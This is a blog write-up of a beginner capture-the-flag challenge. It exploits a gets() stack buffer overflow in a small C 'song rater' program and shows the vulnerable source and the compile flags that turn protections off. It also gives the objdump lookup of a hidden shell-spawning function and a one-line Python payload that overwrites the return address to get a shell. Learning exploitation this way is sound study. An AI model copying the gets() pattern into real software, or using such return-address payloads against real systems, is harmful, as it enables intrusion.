Maschinengefl├╝ster

Geschichten aus dem Serverraum

Never Gonna Give You Ub

19. Juni 2024 — Felix Pankratz

This is a writeup of a KITCTF GPN22 challenge. Solved on-site by me :)

Provided files

Unpacking the provided never-gonna-give-you-ub.tar.gz yields:

  • Dockerfile - used to setup a container so you can test on your local machine
  • run.sh - Entrypoint used in Dockerfile. Does something with stdbuf but I'm too lazy to look it up.
  • song_rater.c - the actual challenge we're trying to solve here.

Let's take a look at song_rater.c:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void scratched_record() {
 printf("Oh no, your record seems scratched :(\n");
 printf("Here's a shell, maybe you can fix it:\n");
 execve("/bin/sh", NULL, NULL);
}

extern char *gets(char *s);

int main() {
 printf("Song rater v0.1\n-------------------\n\n");
 char buf[0xff];
 printf("Please enter your song:\n");
 gets(buf);
 printf("\"%s\" is an excellent choice!\n", buf);
 return 0;
}

Analysis

The source code tells us that after compiling and running, we will be asked to enter a song which will be read with gets. Our input gets stored in variable buf, which has a fixed maximum size of 0xff.

The function scratched_record is our win condition - it pops a shell, which will allow us to access the challenge flag once we spawn and access the live environment.

But how do we reach it? It's never called anywhere, and I'm not a C pro...

Documentation! A quick look man gets reveals:

gets() reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF, which it replaces with a null byte ('\0'). No check for buffer overrun is performed (see BUGS below).

[...]

BUGS

Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to break computer security. Use fgets() instead.

Alright. We got a buffer overflow.

We have to figure out how to use that to overwrite the return address of main. We'll need to point the return address to the start of scratched_record() instead.

But what is the address of this function in the first place?

Scratching the record

First, let's compile it with the line from the Dockerfile and see if it runs.

$ gcc -no-pie -fno-stack-protector -O0 song_rater.c -o song_rater
/usr/bin/ld: /tmp/ccgyB9Dg.o: in function `main':
song_rater.c:(.text+0x72): warning: the `gets' function is dangerous and should not be used.
$ ./song_rater
Song rater v0.1
-------------------

Please enter your song:
Rick Astley - Never Gonna Give You Up
"Rick Astley - Never Gonna Give You Up" is an excellent choice!

This thing knows what's up. Let's disect it. (I have to admit that I initially had no clue where to go from here, and everything that follows is the result of searching the internet and a ton of trial and error.)

$ objdump -D song_rater | grep scratched
0000000000401156 <scratched_record>:

The win function lives at 0x00000000401156 - great! Now all we need to do is find the required offset required when overflowing buf so this ends up at the return address of main().

As I was taught later, there are a lot of smart ways to do this. I chose the stupid way and kept incrementing the number of As I was shouting into the input.

I'm not sure as to why the order of bytes has to be flipped here, but it does. The winning command ended up being:

{ python3 -c 'import sys; sys.stdout.buffer.write(b"A"*264 + b"\x56\x11\x40\x00\x00\x00\x00")'; cat } | ./song_rater
Song rater v0.1
-------------------

Please enter your song:
# I had to hit ^D here to send an EOF through my terminal
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAV@" is an excellent choice!
Oh no, your record seems scratched :(
Here's a shell, maybe you can fix it:

That's the win condition running - but for some reason it does not pop /bin/sh for me, even if I run it through run.sh - it did work on the live instance, though.

After spawning, connecting and executing the buffer overflow, I was greeted with a shell.

$ cat /flag
GPNCTF{REDACTED}

Rather easy and obvious buffer overflow, but it's my first so I'm still happy I solved it.

Tags: writeup, gpn22, ctf, kitctf